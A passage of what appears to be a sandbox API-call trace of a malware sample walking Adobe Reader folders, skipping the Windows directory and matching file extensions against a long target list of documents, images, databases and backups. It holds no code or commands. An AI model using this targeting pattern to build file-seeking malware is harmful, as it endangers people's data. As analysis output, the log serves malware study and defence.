lstrlenW (lpString="fr-fr") returned 5 [0270.729] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="fr-fr") returned -1 [0270.729] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0270.729] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr") returned 119 [0270.729] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315970 [0270.730] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0270.731] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0270.731] lstrlenW (lpString="ui-strings.js") returned 13 [0270.731] lstrlenW (lpString=".1cd") returned 4 [0270.731] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0270.731] lstrlenW (lpString=".3ds") returned 4 [0270.837] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0270.837] lstrlenW (lpString=".3fr") returned 4 [0270.837] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0270.837] lstrlenW (lpString=".3g2") returned 4 [0270.837] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0270.837] lstrlenW (lpString=".3gp") returned 4 [0270.837] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0270.837] lstrlenW (lpString=".7z") returned 3 [0270.837] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0270.837] lstrlenW (lpString=".accda") returned 6 [0270.838] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0270.838] lstrlenW (lpString=".accdb") returned 6 [0270.838] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0270.838] lstrlenW (lpString=".accdc") returned 6 [0270.838] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0270.838] lstrlenW (lpString=".accde") returned 6 [0270.838] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0270.838] lstrlenW (lpString=".accdt") returned 6 [0270.838] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0270.838] lstrlenW (lpString=".accdw") returned 6 [0270.838] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0270.838] lstrlenW (lpString=".adb") returned 4 [0270.838] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0270.838] lstrlenW (lpString=".adp") returned 4 [0270.838] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0270.838] lstrlenW (lpString=".ai") returned 3 [0270.838] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0270.838] lstrlenW (lpString=".ai3") returned 4 [0270.838] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0270.838] lstrlenW (lpString=".ai4") returned 4 [0270.838] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0270.838] lstrlenW (lpString=".ai5") returned 4 [0270.839] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0270.839] lstrlenW (lpString=".ai6") returned 4 [0270.839] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0270.839] lstrlenW (lpString=".ai7") returned 4 [0270.839] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0270.839] lstrlenW (lpString=".ai8") returned 4 [0270.839] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0270.839] lstrlenW (lpString=".anim") returned 5 [0270.839] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0270.839] lstrlenW (lpString=".arw") returned 4 [0270.839] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0270.839] lstrlenW (lpString=".as") returned 3 [0270.839] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0270.839] lstrlenW (lpString=".asa") returned 4 [0270.839] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0270.839] lstrlenW (lpString=".asc") returned 4 [0270.839] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0270.840] lstrlenW (lpString=".ascx") returned 5 [0270.840] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0270.843] lstrlenW (lpString=".asm") returned 4 [0270.843] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0270.843] lstrlenW (lpString=".asmx") returned 5 [0270.843] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0270.843] lstrlenW (lpString=".asp") returned 4 [0270.843] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0270.843] lstrlenW (lpString=".aspx") returned 5 [0270.843] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0270.843] lstrlenW (lpString=".asr") returned 4 [0270.843] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0270.843] lstrlenW (lpString=".asx") returned 4 [0270.843] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0270.843] lstrlenW (lpString=".avi") returned 4 [0270.843] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0270.843] lstrlenW (lpString=".avs") returned 4 [0270.843] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0270.843] lstrlenW (lpString=".backup") returned 7 [0270.843] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0270.843] lstrlenW (lpString=".bak") returned 4 [0270.844] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0270.844] lstrlenW (lpString=".bay") returned 4 [0270.844] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0270.844] lstrlenW (lpString=".bd") returned 3 [0270.844] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0270.844] lstrlenW (lpString=".bin") returned 4 [0270.844] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0270.844] lstrlenW (lpString=".bmp") returned 4 [0270.844] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0270.844] lstrlenW (lpString=".bz2") returned 4 [0270.844] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0270.844] lstrlenW (lpString=".c") returned 2 [0270.844] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0270.844] lstrlenW (lpString=".cdr") returned 4 [0270.844] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0270.844] lstrlenW (lpString=".cer") returned 4 [0270.844] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0270.844] lstrlenW (lpString=".cf") returned 3 [0270.844] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0270.845] lstrlenW (lpString=".cfc") returned 4 [0270.845] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0270.845] lstrlenW (lpString=".cfm") returned 4 [0270.845] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0270.845] lstrlenW (lpString=".cfml") returned 5 [0270.845] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0270.845] lstrlenW (lpString=".cfu") returned 4 [0270.845] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0270.845] lstrlenW (lpString=".chm") returned 4 [0270.845] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0270.845] lstrlenW (lpString=".cin") returned 4 [0270.845] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0270.845] lstrlenW (lpString=".class") returned 6 [0270.845] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0270.846] lstrlenW (lpString=".clx") returned 4 [0270.846] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0270.846] lstrlenW (lpString=".config") returned 7 [0270.846] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0270.846] lstrlenW (lpString=".cpp") returned 4 [0270.846] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0270.846] lstrlenW (lpString=".cr2") returned 4 [0270.846] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0270.846] lstrlenW (lpString=".crt") returned 4 [0270.846] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0270.846] lstrlenW (lpString=".crw") returned 4 [0270.846] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0270.846] lstrlenW (lpString=".cs") returned 3 [0270.846] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0270.846] lstrlenW (lpString=".css") returned 4 [0270.846] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0270.846] lstrlenW (lpString=".csv") returned 4 [0270.846] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0270.846] lstrlenW (lpString=".cub") returned 4 [0270.846] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0270.846] lstrlenW (lpString=".dae") returned 4 [0270.846] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0270.846] lstrlenW (lpString=".dat") returned 4 [0270.846] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0270.847] lstrlenW (lpString=".db") returned 3 [0270.847] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0270.847] lstrlenW (lpString=".dbf") returned 4 [0270.847] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0270.847] lstrlenW (lpString=".dbx") returned 4 [0270.847] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0270.847] lstrlenW (lpString=".dc3") returned 4 [0270.847] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0270.847] lstrlenW (lpString=".dcm") returned 4 [0270.847] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0270.847] lstrlenW (lpString=".dcr") returned 4 [0270.847] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0270.847] lstrlenW (lpString=".der") returned 4 [0270.847] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0270.847] lstrlenW (lpString=".dib") returned 4 [0270.847] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0270.847] lstrlenW (lpString=".dic") returned 4 [0270.847] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0270.847] lstrlenW (lpString=".dif") returned 4 [0270.847] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0270.847] lstrlenW (lpString=".divx") returned 5 [0270.847] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0270.847] lstrlenW (lpString=".djvu") returned 5 [0270.847] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0270.847] lstrlenW (lpString=".dng") returned 4 [0270.847] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0270.847] lstrlenW (lpString=".doc") returned 4 [0270.847] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0270.847] lstrlenW (lpString=".docm") returned 5 [0270.847] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0270.847] lstrlenW (lpString=".docx") returned 5 [0270.848] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0270.848] lstrlenW (lpString=".dot") returned 4 [0270.848] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0270.848] lstrlenW (lpString=".dotm") returned 5 [0270.848] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0270.848] lstrlenW (lpString=".dotx") returned 5 [0270.848] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0270.848] lstrlenW (lpString=".dpx") returned 4 [0270.848] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0270.848] lstrlenW (lpString=".dqy") returned 4 [0270.848] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0270.848] lstrlenW (lpString=".dsn") returned 4 [0270.848] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0270.848] lstrlenW (lpString=".dt") returned 3 [0270.848] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0270.848] lstrlenW (lpString=".dtd") returned 4 [0270.848] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0270.848] lstrlenW (lpString=".dwg") returned 4 [0270.848] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0270.848] lstrlenW (lpString=".dwt") returned 4 [0270.848] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0270.848] lstrlenW (lpString=".dx") returned 3 [0270.848] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0270.848] lstrlenW (lpString=".dxf") returned 4 [0270.848] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0270.848] lstrlenW (lpString=".edml") returned 5 [0270.848] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0270.848] lstrlenW (lpString=".efd") returned 4 [0270.848] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0270.848] lstrlenW (lpString=".elf") returned 4 [0270.848] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0270.848] lstrlenW (lpString=".emf") returned 4 [0270.849] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0270.849] lstrlenW (lpString=".emz") returned 4 [0270.849] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0270.849] lstrlenW (lpString=".epf") returned 4 [0270.849] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0270.849] lstrlenW (lpString=".eps") returned 4 [0270.849] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0270.849] lstrlenW (lpString=".epsf") returned 5 [0270.849] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0270.849] lstrlenW (lpString=".epsp") returned 5 [0270.849] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0270.849] lstrlenW (lpString=".erf") returned 4 [0270.849] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0270.850] lstrlenW (lpString=".exr") returned 4 [0270.850] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0270.850] lstrlenW (lpString=".f4v") returned 4 [0270.850] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0270.850] lstrlenW (lpString=".fido") returned 5 [0270.850] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0270.850] lstrlenW (lpString=".flm") returned 4 [0270.850] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0270.850] lstrlenW (lpString=".flv") returned 4 [0270.850] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0270.850] lstrlenW (lpString=".frm") returned 4 [0270.850] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0270.850] lstrlenW (lpString=".fxg") returned 4 [0270.850] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0270.850] lstrlenW (lpString=".geo") returned 4 [0270.850] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0270.851] lstrlenW (lpString=".gif") returned 4 [0270.851] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0270.851] lstrlenW (lpString=".grs") returned 4 [0270.851] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0270.851] lstrlenW (lpString=".gz") returned 3 [0270.851] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0270.851] lstrlenW (lpString=".h") returned 2 [0270.851] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0270.851] lstrlenW (lpString=".hdr") returned 4 [0270.851] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0270.851] lstrlenW (lpString=".hpp") returned 4 [0270.851] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0270.851] lstrlenW (lpString=".hta") returned 4 [0270.851] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0270.851] lstrlenW (lpString=".htc") returned 4 [0270.852] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0270.852] lstrlenW (lpString=".htm") returned 4 [0270.852] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0270.852] lstrlenW (lpString=".html") returned 5 [0270.852] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0270.852] lstrlenW (lpString=".icb") returned 4 [0270.852] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0270.852] lstrlenW (lpString=".ics") returned 4 [0270.852] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0270.852] lstrlenW (lpString=".iff") returned 4 [0270.852] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0270.852] lstrlenW (lpString=".inc") returned 4 [0270.852] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0270.852] lstrlenW (lpString=".indd") returned 5 [0270.852] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0270.852] lstrlenW (lpString=".ini") returned 4 [0270.852] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0270.852] lstrlenW (lpString=".iqy") returned 4 [0270.852] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0270.853] lstrlenW (lpString=".j2c") returned 4 [0270.853] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0270.853] lstrlenW (lpString=".j2k") returned 4 [0270.853] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0270.853] lstrlenW (lpString=".java") returned 5 [0270.853] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0270.853] lstrlenW (lpString=".jp2") returned 4 [0270.853] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0270.853] lstrlenW (lpString=".jpc") returned 4 [0270.853] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0270.853] lstrlenW (lpString=".jpe") returned 4 [0270.853] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0270.853] lstrlenW (lpString=".jpeg") returned 5 [0270.853] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0270.853] lstrlenW (lpString=".jpf") returned 4 [0270.853] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0270.853] lstrlenW (lpString=".jpg") returned 4 [0270.853] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0270.853] lstrlenW (lpString=".jpx") returned 4 [0270.853] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0270.854] lstrlenW (lpString=".js") returned 3 [0270.854] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0270.854] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0270.854] FindClose (in: hFindFile=0x3315970 | out: hFindFile=0x3315970) returned 1 [0270.854] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0270.854] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0270.854] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma") returned 119 [0270.854] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma") returned 1 [0270.854] lstrlenW (lpString="fr-ma") returned 5 [0270.854] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="fr-ma") returned -1 [0270.855] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0270.855] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma") returned 119 [0270.855] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315bf0 [0271.290] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0271.290] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0271.290] lstrlenW (lpString="ui-strings.js") returned 13 [0271.290] lstrlenW (lpString=".1cd") returned 4 [0271.291] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0271.291] lstrlenW (lpString=".3ds") returned 4 [0271.291] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0271.291] lstrlenW (lpString=".3fr") returned 4 [0271.291] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0271.291] lstrlenW (lpString=".3g2") returned 4 [0271.291] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0271.291] lstrlenW (lpString=".3gp") returned 4 [0271.291] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0271.291] lstrlenW (lpString=".7z") returned 3 [0271.291] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0271.291] lstrlenW (lpString=".accda") returned 6 [0271.291] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0271.291] lstrlenW (lpString=".accdb") returned 6 [0271.292] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0271.292] lstrlenW (lpString=".accdc") returned 6 [0271.292] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0271.292] lstrlenW (lpString=".accde") returned 6 [0271.292] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0271.292] lstrlenW (lpString=".accdt") returned 6 [0271.292] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0271.292] lstrlenW (lpString=".accdw") returned 6 [0271.292] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0271.292] lstrlenW (lpString=".adb") returned 4 [0271.292] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0271.292] lstrlenW (lpString=".adp") returned 4 [0271.293] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0271.293] lstrlenW (lpString=".ai") returned 3 [0271.293] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0271.293] lstrlenW (lpString=".ai3") returned 4 [0271.293] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0271.293] lstrlenW (lpString=".ai4") returned 4 [0271.293] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0271.293] lstrlenW (lpString=".ai5") returned 4 [0271.293] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0271.293] lstrlenW (lpString=".ai6") returned 4 [0271.293] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0271.293] lstrlenW (lpString=".ai7") returned 4 [0271.293] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0271.293] lstrlenW (lpString=".ai8") returned 4 [0271.294] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0271.294] lstrlenW (lpString=".anim") returned 5 [0271.294] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0271.294] lstrlenW (lpString=".arw") returned 4 [0271.294] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0271.294] lstrlenW (lpString=".as") returned 3 [0271.294] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0271.294] lstrlenW (lpString=".asa") returned 4 [0271.294] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0271.294] lstrlenW (lpString=".asc") returned 4 [0271.294] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0271.294] lstrlenW (lpString=".ascx") returned 5 [0271.294] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0271.295] lstrlenW (lpString=".asm") returned 4 [0271.295] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0271.295] lstrlenW (lpString=".asmx") returned 5 [0271.295] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0271.295] lstrlenW (lpString=".asp") returned 4 [0271.295] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0271.295] lstrlenW (lpString=".aspx") returned 5 [0271.295] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0271.295] lstrlenW (lpString=".asr") returned 4 [0271.295] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0271.295] lstrlenW (lpString=".asx") returned 4 [0271.295] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0271.299] lstrlenW (lpString=".avi") returned 4 [0271.299] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0271.299] lstrlenW (lpString=".avs") returned 4 [0271.299] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0271.299] lstrlenW (lpString=".backup") returned 7 [0271.299] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0271.299] lstrlenW (lpString=".bak") returned 4 [0271.299] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0271.299] lstrlenW 